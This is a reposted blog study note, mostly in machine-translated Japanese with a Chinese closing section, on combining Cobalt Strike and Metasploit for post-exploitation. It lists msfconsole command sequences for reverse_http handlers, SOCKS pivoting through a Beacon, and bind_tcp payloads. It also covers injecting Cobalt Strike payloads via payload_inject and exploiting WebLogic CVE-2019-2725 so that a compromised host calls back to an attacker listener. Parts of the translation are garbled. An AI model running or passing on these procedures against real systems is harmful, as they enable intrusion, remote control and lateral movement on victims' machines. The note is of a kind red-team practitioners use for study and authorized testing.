ホームページ  >  記事  >  運用・保守  >  CobaltStrikeとMetasploitの連携分析例

CobaltStrikeとMetasploitの連携分析例

WBOY
WBOY転載
2023-05-15 18:58:111140ブラウズ

Ms08067を探してください

個人的には、CobaltStrikeのグラフィカルインターフェースと豊富な機能は、特に水平管理の利便性を高めるための強力なポスト浸透フレームワークだと思います。シェルやシェルは移動中に収集されましたが、脆弱性の悪用や初期の突破には非常に弱いのに対し、Metasploit は脆弱性の悪用フレームワークとして、非常にスムーズな EXP と、スキャン、ブレークスルー、ワンストップ拡張などのさまざまなモジュールを備えています。ただし、複数のシェルの管理は少し弱いようです (結局のところ、グラフィカル インターフェイスがなく、コマンドが多すぎて覚えられません)。したがって、この 2 つのフレームワークをどのように効果的に連携させるかが、今日私が学びたい知識となりました。

1. CS を使用して MSF にサービスを提供する

CS のビーコンを使用して MSF のシェルを派生し、後続の侵入タスクを実行します:

MSF で監視を構成する

# 配置监听器msf> use exploit/multi/handler# 选择payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 启动监听器msf> set ExitOnSession Falsemsf> run -jz

CS で外部リスナーの外部 HTTP (または外部 HTTPS) を確立します

CobaltStrikeとMetasploitの連携分析例

派生するターゲットを選択し、右クリックしてスポーンを選択しますfunction で、作成したばかりのリスナーを選択すると、MSF で接続を受信できるようになります。

CS を使用して、その後の検出と脆弱性悪用のために MSF に転送機能またはプロキシ機能を提供します:

Beacon を使用してソックス プロキシを確立します:

Beacon 内Socks リスニング ポートを に入力するか、転送ターゲットを右クリックし、ピボットで SOCKS サーバーを選択し、リスニング ポートを設定し、
launch をクリックしてアクティブ化します。

CobaltStrikeとMetasploitの連携分析例

##確立されたフォワーダーがビューに表示されます -> [プロキシ ピボット]。[トンネル] をクリックして MSF 転送コマンドを取得します。

CobaltStrikeとMetasploitの連携分析例

[コピー] をクリックして MSF に移動し、プロキシとペイロード タイプを設定します

CVE-2019-2725 をテスト ターゲットとして使用します

#设置代理 msf> setg Proxies socks4:127.0.0.1:36725
#配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
msf> set payload windows/meterpreter/bind_tcp
msf> run

CobaltStrikeとMetasploitの連携分析例

2.MSF CS

を提供します。主なことは、MSF フレームワークの EXP を使用して CS

のビーコンを取得することです。コマンド実行シェルを取得します。

これは、最も単純な状況は、これが最も一般的な状況ですが、Meterpreter セッションですべての EXP をバウンスできるわけではないということです。

CS で攻撃 -> Web ドライブバイ -> スクリプト Web 配信を使用してペイロード配布サイトを展開します:

リスナーと URL パスを構成すると、対応するポップアップが表示されます。起動後のポップアップ コマンド プロンプト


CobaltStrikeとMetasploitの連携分析例

コマンドをコピーした後、MSF シェルで直接実行します

CobaltStrikeとMetasploitの連携分析例

MSF セッションは次のようになります。コマンドの実行後にスタックします。ライブでは、CS セッションに影響を与えずに直接強制終了できます。

Meterpreter セッションの取得:

meterpreter セッションを取得した後、MSF インジェクション関数を使用してCs ペイロード

# 将meterpreter会话挂起
meterpreter> background
# 进入payload_inject模块
msf> use exploit/windows/local/payload_inject
# 根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf> set LHOST CS_IP
msf> set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf> set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf> set disablepayloadhandler true 
msf> run

CobaltStrikeとMetasploitの連携分析例

このメソッドは 32 ビット ペイロードのみを挿入できることがプロセス中に発見されました。64 ビット ペイロードを挿入するとターゲット プロセスがクラッシュします。また、32 ビットのペイロードを 64 ビット プログラムに挿入することは不可能です。クラッシュの原因は次のとおりです: APPCRASH (障害のあるモジュール StackHash_af76) システム権限を取得して UAC をオフにしても、まだ機能しません。 pid を設定しない場合は、32 ビットの notepad.exe プロセスが作成されます。接続に成功したら、時間内に CS セッション プロセスを移行することを忘れないでください。

CS に直接バウンス:

MSF 脆弱性を悪用するときに、CS ペイロードを直接要求してロードします。これは 2 番目の方法 (テスト脆弱性) と基本的に同じです。は CVE-2019 -2725)

# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http 
# 设置回连地址(CS监听器地址) 
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true

CobaltStrikeとMetasploitの連携分析例

CobaltStrikeとMetasploitの連携分析例

実際には 2 番目の操作と同じで、MSF を呼び出しているだけです。モジュールを作成し、ペイロードパラメータを設定します。脆弱性の悪用が成功すると、CS セッションはウィンドウなしの PowerShell

を通じて直接返され、ターゲット ホスト上にウィンドウは表示されません。テスト中に 64 ビットのペイロードをロードできませんでした。これは、この脆弱性が悪用された後、後続のコマンドを実行するために 32 ビットの cmd.exe が起動されるためである可能性があります。

三、

一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止
http和https ,

dns smb tcp

MSF中也有诸如

windows/meterpreter/reverse_tcp_dns
windows/meterpreter/bind_named_pipe 
windows/meterpreter/reverse_tcp

这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。

以上がCobaltStrikeとMetasploitの連携分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。